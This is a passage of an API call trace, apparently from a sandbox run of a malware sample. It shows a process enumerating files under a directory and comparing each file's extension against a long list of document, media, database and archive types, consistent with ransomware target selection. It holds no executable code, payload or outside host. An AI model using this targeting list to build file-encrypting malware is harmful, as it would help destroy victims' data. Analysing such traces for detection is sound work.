[0086.806] lstrlenW (lpString=".pxr") returned 4 [0086.806] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0086.806] lstrlenW (lpString=".py") returned 3 [0086.806] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0086.806] lstrlenW (lpString=".qt") returned 3 [0086.806] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0086.806] lstrlenW (lpString=".r3d") returned 4 [0086.806] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0086.806] lstrlenW (lpString=".raf") returned 4 [0086.806] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0086.806] lstrlenW (lpString=".rar") returned 4 [0086.806] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0086.807] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0086.807] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0086.807] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0086.807] FindClose (in: hFindFile=0x42602d0 | out: hFindFile=0x42602d0) returned 1 [0086.807] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0086.807] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0086.807] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0086.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client") returned 28 [0086.808] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260590 [0086.913] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.913] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0086.914] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0086.914] lstrlenW (lpString=".1cd") returned 4 [0086.914] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0086.914] lstrlenW (lpString=".3ds") returned 4 [0086.914] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0086.914] lstrlenW (lpString=".3fr") returned 4 [0086.914] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0086.914] lstrlenW (lpString=".3g2") returned 4 [0086.914] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0086.914] lstrlenW (lpString=".3gp") returned 4 [0086.914] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0086.914] lstrlenW (lpString=".7z") returned 3 [0086.914] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0086.914] lstrlenW (lpString=".accda") returned 6 [0086.914] lstrcmpiW (lpString1=".accda", lpString2="fo.xml") returned -1 [0086.914] lstrlenW (lpString=".accdb") returned 6 [0086.914] lstrcmpiW (lpString1=".accdb", lpString2="fo.xml") returned -1 [0086.914] lstrlenW (lpString=".accdc") returned 6 [0086.914] lstrcmpiW (lpString1=".accdc", lpString2="fo.xml") returned -1 [0086.914] lstrlenW (lpString=".accde") returned 6 [0086.914] lstrcmpiW (lpString1=".accde", lpString2="fo.xml") returned -1 [0086.914] lstrlenW (lpString=".accdt") returned 6 [0086.914] lstrcmpiW (lpString1=".accdt", lpString2="fo.xml") returned -1 [0086.914] lstrlenW (lpString=".accdw") returned 6 [0086.914] lstrcmpiW (lpString1=".accdw", lpString2="fo.xml") returned -1 [0086.915] lstrlenW (lpString=".adb") returned 4 [0086.915] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0086.915] lstrlenW (lpString=".adp") returned 4 [0086.915] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0086.915] lstrlenW (lpString=".ai") returned 3 [0086.915] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0086.915] lstrlenW (lpString=".ai3") returned 4 [0086.915] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0086.915] lstrlenW (lpString=".ai4") returned 4 [0086.915] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0086.915] lstrlenW (lpString=".ai5") returned 4 [0086.915] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0086.915] lstrlenW (lpString=".ai6") returned 4 [0086.915] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0086.915] lstrlenW (lpString=".ai7") returned 4 [0086.915] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0086.915] lstrlenW (lpString=".ai8") returned 4 [0086.915] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0086.915] lstrlenW (lpString=".anim") returned 5 [0086.915] lstrcmpiW (lpString1=".anim", lpString2="o.xml") returned -1 [0086.915] lstrlenW (lpString=".arw") returned 4 [0086.915] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0086.915] lstrlenW (lpString=".as") returned 3 [0086.915] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0086.915] lstrlenW (lpString=".asa") returned 4 [0086.915] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0086.916] lstrlenW (lpString=".asc") returned 4 [0086.916] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0086.916] lstrlenW (lpString=".ascx") returned 5 [0086.916] lstrcmpiW (lpString1=".ascx", lpString2="o.xml") returned -1 [0086.916] lstrlenW (lpString=".asm") returned 4 [0086.916] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0086.916] lstrlenW (lpString=".asmx") returned 5 [0086.916] lstrcmpiW (lpString1=".asmx", lpString2="o.xml") returned -1 [0086.916] lstrlenW (lpString=".asp") returned 4 [0086.916] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0086.916] lstrlenW (lpString=".aspx") returned 5 [0086.916] lstrcmpiW (lpString1=".aspx", lpString2="o.xml") returned -1 [0086.916] lstrlenW (lpString=".asr") returned 4 [0086.916] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0086.916] lstrlenW (lpString=".asx") returned 4 [0086.916] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0086.916] lstrlenW (lpString=".avi") returned 4 [0086.916] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0086.916] lstrlenW (lpString=".avs") returned 4 [0086.916] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0086.916] lstrlenW (lpString=".backup") returned 7 [0086.916] lstrcmpiW (lpString1=".backup", lpString2="nfo.xml") returned -1 [0086.916] lstrlenW (lpString=".bak") returned 4 [0086.916] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0086.916] lstrlenW (lpString=".bay") returned 4 [0086.916] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0086.916] lstrlenW (lpString=".bd") returned 3 [0086.917] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0086.917] lstrlenW (lpString=".bin") returned 4 [0086.917] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0086.917] lstrlenW (lpString=".bmp") returned 4 [0086.917] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0086.917] lstrlenW (lpString=".bz2") returned 4 [0086.917] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0086.917] lstrlenW (lpString=".c") returned 2 [0086.917] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0086.917] lstrlenW (lpString=".cdr") returned 4 [0086.917] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0086.917] lstrlenW (lpString=".cer") returned 4 [0086.917] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0086.917] lstrlenW (lpString=".cf") returned 3 [0086.917] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0086.917] lstrlenW (lpString=".cfc") returned 4 [0086.917] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0086.917] lstrlenW (lpString=".cfm") returned 4 [0086.917] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0086.917] lstrlenW (lpString=".cfml") returned 5 [0086.917] lstrcmpiW (lpString1=".cfml", lpString2="o.xml") returned -1 [0086.917] lstrlenW (lpString=".cfu") returned 4 [0086.917] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0086.917] lstrlenW (lpString=".chm") returned 4 [0086.917] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0086.917] lstrlenW (lpString=".cin") returned 4 [0086.918] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0086.918] lstrlenW (lpString=".class") returned 6 [0086.918] lstrcmpiW (lpString1=".class", lpString2="fo.xml") returned -1 [0086.918] lstrlenW (lpString=".clx") returned 4 [0086.918] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0086.918] lstrlenW (lpString=".config") returned 7 [0086.918] lstrcmpiW (lpString1=".config", lpString2="nfo.xml") returned -1 [0086.918] lstrlenW (lpString=".cpp") returned 4 [0086.918] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0086.918] lstrlenW (lpString=".cr2") returned 4 [0086.918] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0086.918] lstrlenW (lpString=".crt") returned 4 [0086.918] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0086.918] lstrlenW (lpString=".crw") returned 4 [0086.918] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0086.918] lstrlenW (lpString=".cs") returned 3 [0086.918] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0086.918] lstrlenW (lpString=".css") returned 4 [0086.918] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0086.918] lstrlenW (lpString=".csv") returned 4 [0086.918] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0086.918] lstrlenW (lpString=".cub") returned 4 [0086.918] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0086.918] lstrlenW (lpString=".dae") returned 4 [0086.918] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0086.918] lstrlenW (lpString=".dat") returned 4 [0086.919] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0086.919] lstrlenW (lpString=".db") returned 3 [0086.919] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0086.919] lstrlenW (lpString=".dbf") returned 4 [0086.919] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0086.919] lstrlenW (lpString=".dbx") returned 4 [0086.919] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0086.919] lstrlenW (lpString=".dc3") returned 4 [0086.919] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0086.919] lstrlenW (lpString=".dcm") returned 4 [0086.919] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0086.919] lstrlenW (lpString=".dcr") returned 4 [0086.919] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0086.919] lstrlenW (lpString=".der") returned 4 [0086.919] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0086.919] lstrlenW (lpString=".dib") returned 4 [0086.919] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0086.919] lstrlenW (lpString=".dic") returned 4 [0086.919] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0086.919] lstrlenW (lpString=".dif") returned 4 [0086.919] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0086.919] lstrlenW (lpString=".divx") returned 5 [0086.919] lstrcmpiW (lpString1=".divx", lpString2="o.xml") returned -1 [0086.919] lstrlenW (lpString=".djvu") returned 5 [0086.919] lstrcmpiW (lpString1=".djvu", lpString2="o.xml") returned -1 [0086.919] lstrlenW (lpString=".dng") returned 4 [0086.919] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0086.920] lstrlenW (lpString=".doc") returned 4 [0086.920] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0086.920] lstrlenW (lpString=".docm") returned 5 [0086.920] lstrcmpiW (lpString1=".docm", lpString2="o.xml") returned -1 [0086.920] lstrlenW (lpString=".docx") returned 5 [0086.920] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0086.920] lstrlenW (lpString=".dot") returned 4 [0086.920] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0086.920] lstrlenW (lpString=".dotm") returned 5 [0086.920] lstrcmpiW (lpString1=".dotm", lpString2="o.xml") returned -1 [0086.920] lstrlenW (lpString=".dotx") returned 5 [0086.920] lstrcmpiW (lpString1=".dotx", lpString2="o.xml") returned -1 [0086.920] lstrlenW (lpString=".dpx") returned 4 [0086.920] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0086.920] lstrlenW (lpString=".dqy") returned 4 [0086.920] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0086.920] lstrlenW (lpString=".dsn") returned 4 [0086.920] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0086.920] lstrlenW (lpString=".dt") returned 3 [0086.920] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0086.920] lstrlenW (lpString=".dtd") returned 4 [0086.920] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0086.920] lstrlenW (lpString=".dwg") returned 4 [0086.920] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0086.920] lstrlenW (lpString=".dwt") returned 4 [0086.920] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0086.921] lstrlenW (lpString=".dx") returned 3 [0086.921] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0086.921] lstrlenW (lpString=".dxf") returned 4 [0086.921] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0086.921] lstrlenW (lpString=".edml") returned 5 [0086.921] lstrcmpiW (lpString1=".edml", lpString2="o.xml") returned -1 [0086.921] lstrlenW (lpString=".efd") returned 4 [0086.921] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0086.921] lstrlenW (lpString=".elf") returned 4 [0086.921] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0086.921] lstrlenW (lpString=".emf") returned 4 [0086.921] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0086.921] lstrlenW (lpString=".emz") returned 4 [0086.921] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0086.921] lstrlenW (lpString=".epf") returned 4 [0086.921] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0086.921] lstrlenW (lpString=".eps") returned 4 [0086.921] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0086.921] lstrlenW (lpString=".epsf") returned 5 [0086.921] lstrcmpiW (lpString1=".epsf", lpString2="o.xml") returned -1 [0086.921] lstrlenW (lpString=".epsp") returned 5 [0086.921] lstrcmpiW (lpString1=".epsp", lpString2="o.xml") returned -1 [0086.921] lstrlenW (lpString=".erf") returned 4 [0086.921] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0086.921] lstrlenW (lpString=".exr") returned 4 [0086.921] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0086.921] lstrlenW (lpString=".f4v") returned 4 [0086.922] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0086.922] lstrlenW (lpString=".fido") returned 5 [0086.922] lstrcmpiW (lpString1=".fido", lpString2="o.xml") returned -1 [0086.922] lstrlenW (lpString=".flm") returned 4 [0086.922] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0086.922] lstrlenW (lpString=".flv") returned 4 [0086.922] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0086.922] lstrlenW (lpString=".frm") returned 4 [0086.922] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0086.922] lstrlenW (lpString=".fxg") returned 4 [0086.922] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0086.922] lstrlenW (lpString=".geo") returned 4 [0086.922] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0086.922] lstrlenW (lpString=".gif") returned 4 [0086.922] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0086.922] lstrlenW (lpString=".grs") returned 4 [0086.922] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0086.922] lstrlenW (lpString=".gz") returned 3 [0086.922] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0086.922] lstrlenW (lpString=".h") returned 2 [0086.922] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0086.922] lstrlenW (lpString=".hdr") returned 4 [0086.922] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0086.922] lstrlenW (lpString=".hpp") returned 4 [0086.922] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0086.922] lstrlenW (lpString=".hta") returned 4 [0086.922] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0086.923] lstrlenW (lpString=".htc") returned 4 [0086.923] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0086.923] lstrlenW (lpString=".htm") returned 4 [0086.923] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0086.923] lstrlenW (lpString=".html") returned 5 [0086.923] lstrcmpiW (lpString1=".html", lpString2="o.xml") returned -1 [0086.923] lstrlenW (lpString=".icb") returned 4 [0086.923] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0086.923] lstrlenW (lpString=".ics") returned 4 [0086.923] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0086.923] lstrlenW (lpString=".iff") returned 4 [0086.923] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0086.923] lstrlenW (lpString=".inc") returned 4 [0086.923] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0086.923] lstrlenW (lpString=".indd") returned 5 [0086.923] lstrcmpiW (lpString1=".indd", lpString2="o.xml") returned -1 [0086.923] lstrlenW (lpString=".ini") returned 4 [0086.923] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0086.923] lstrlenW (lpString=".iqy") returned 4 [0086.923] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0086.923] lstrlenW (lpString=".j2c") returned 4 [0086.923] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0086.923] lstrlenW (lpString=".j2k") returned 4 [0086.923] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0086.923] lstrlenW (lpString=".java") returned 5 [0086.923] lstrcmpiW (lpString1=".java", lpString2="o.xml") returned -1 [0086.923] lstrlenW (lpString=".jp2") returned 4 [0086.924] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0086.924] lstrlenW (lpString=".jpc") returned 4 [0086.924] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0086.924] lstrlenW (lpString=".jpe") returned 4 [0086.924] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0086.924] lstrlenW (lpString=".jpeg") returned 5 [0086.924] lstrcmpiW (lpString1=".jpeg", lpString2="o.xml") returned -1 [0086.924] lstrlenW (lpString=".jpf") returned 4 [0086.924] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0086.924] lstrlenW (lpString=".jpg") returned 4 [0086.924] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0086.924] lstrlenW (lpString=".jpx") returned 4 [0086.924] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0086.924] lstrlenW (lpString=".js") returned 3 [0086.924] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0086.924] lstrlenW (lpString=".jsf") returned 4 [0086.924] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0086.924] lstrlenW (lpString=".json") returned 5 [0086.924] lstrcmpiW (lpString1=".json", lpString2="o.xml") returned -1 [0086.924] lstrlenW (lpString=".jsp") returned 4 [0086.924] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0086.924] lstrlenW (lpString=".kdc") returned 4 [0086.924] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0086.924] lstrlenW (lpString=".kmz") returned 4 [0086.924] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0086.924] lstrlenW (lpString=".kwm") returned 4 [0086.924] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0086.925] lstrlenW (lpString=".lasso") returned 6 [0086.925] lstrcmpiW (lpString1=".lasso", lpString2="fo.xml") returned -1 [0086.925] lstrlenW (lpString=".lbi") returned 4 [0086.925] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0086.925] lstrlenW (lpString=".lgf") returned 4 [0086.925] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0086.925] lstrlenW (lpString=".lgp") returned 4 [0086.925] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0086.925] lstrlenW (lpString=".log") returned 4 [0086.925] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0086.925] lstrlenW (lpString=".m1v") returned 4 [0086.925] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0086.925] lstrlenW (lpString=".m4a") returned 4 [0086.925] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0086.925] lstrlenW (lpString=".m4v") returned 4 [0086.925] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0086.925] lstrlenW (lpString=".max") returned 4 [0086.925] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0086.925] lstrlenW (lpString=".md") returned 3 [0086.925] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0086.925] lstrlenW (lpString=".mda") returned 4 [0086.925] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0086.925] lstrlenW (lpString=".mdb") returned 4 [0086.925] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0086.925] lstrlenW (lpString=".mde") returned 4 [0086.925] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0086.925] lstrlenW (lpString=".mdf") returned 4 [0086.926] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0086.926] lstrlenW (lpString=".mdw") returned 4 [0086.926] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0086.926] lstrlenW (lpString=".mef") returned 4 [0086.926] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0086.926] lstrlenW (lpString=".mft") returned 4 [0086.926] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0086.926] lstrlenW (lpString=".mfw") returned 4 [0086.926] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0086.926] lstrlenW (lpString=".mht") returned 4 [0086.926] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0086.926] lstrlenW (lpString=".mhtml") returned 6 [0086.926] lstrcmpiW (lpString1=".mhtml", lpString2="fo.xml") returned -1 [0086.926] lstrlenW (lpString=".mka") returned 4 [0086.926] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0086.926] lstrlenW (lpString=".mkidx") returned 6 [0086.926] lstrcmpiW (lpString1=".mkidx", lpString2="fo.xml") returned -1 [0086.926] lstrlenW (lpString=".mkv") returned 4 [0086.926] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0086.926] lstrlenW (lpString=".mos") returned 4 [0086.926] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0086.926] lstrlenW (lpString=".mov") returned 4 [0086.926] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0086.926] lstrlenW (lpString=".mp3") returned 4 [0086.926] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0086.926] lstrlenW (lpString=".mp4") returned 4 [0086.927] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0086.927] lstrlenW (lpString=".mpeg") returned 5 [0086.927] lstrcmpiW (lpString1=".mpeg", lpString2="o.xml") returned -1 [0086.927] lstrlenW (lpString=".mpg") returned 4 [0086.927] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0086.927] lstrlenW (lpString=".mpv") returned 4 [0086.927] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0086.927] lstrlenW (lpString=".mrw") returned 4 [0086.927] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0086.927] lstrlenW (lpString=".msg") returned 4 [0086.927] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0086.927] lstrlenW (lpString=".mxl") returned 4 [0086.927] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0086.927] lstrlenW (lpString=".myd") returned 4 [0086.927] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0086.927] lstrlenW (lpString=".myi") returned 4 [0086.927] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0086.927] lstrlenW (lpString=".nef") returned 4 [0086.927] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0086.927] lstrlenW (lpString=".nrw") returned 4 [0086.927] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0086.927] lstrlenW (lpString=".obj") returned 4 [0086.927] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0086.927] lstrlenW (lpString=".odb") returned 4 [0086.927] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0086.927] lstrlenW (lpString=".odc") returned 4 [0086.927] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0086.927] lstrlenW (lpString=".odm") returned 4 [0086.928] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0086.928] lstrlenW 